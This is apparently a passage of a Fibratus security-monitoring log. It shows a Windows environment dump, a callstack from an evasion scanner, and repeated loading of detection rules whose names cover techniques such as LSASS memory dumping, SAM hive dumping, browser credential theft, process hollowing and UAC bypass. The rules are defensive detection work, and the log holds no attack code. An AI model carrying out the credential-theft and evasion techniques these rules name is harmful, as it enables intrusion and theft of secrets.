(x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80179942714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80179874909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80179948ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80179e72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80179e71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80179e690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80179e621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80179e6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff80179cb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffba9911014 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffba9723640 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffba9723a53 C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc366e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc366e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc366e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffc366e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffc36754294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffc366f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc366f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffc3671fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffc33f8d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffc36237a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffc3623759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffc363bb8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffc363bcc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffc363bcd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffc363b8fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffc36354304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ffc3622b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffc3622b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffc3622a662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffc3622a279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffc362fff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7ffc3639717e C:\Windows\System32\combase.dll!Ordinal130|0x7ffc362577fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffc362562ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffc362a8013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7ffc363b86ee C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffc363b2d12 C:\Windows\System32\combase.dll!Ordinal146|0x7ffc362fbb3b C:\Windows\System32\combase.dll!CoCreateInstanceEx|0x7ffc362fb91b C:\Windows\System32\combase.dll!CoCreateInstance|0x7ffc0acfe4b3 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ffc0acfd534 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ffc0acfc73d C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ffc0acfc4b8 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ffc367b847d C:\Windows\System32\ntdll.dll!TpAlpcUnregisterCompletionList|0x7ffc367563d9 C:\Windows\System32\ntdll.dll!RtlSetThreadSubProcessTag|0x7ffc3462e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffc3676c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-22T20:42:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T20:42:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:42:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T20:43:43+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T20:43:43+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T20:44:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 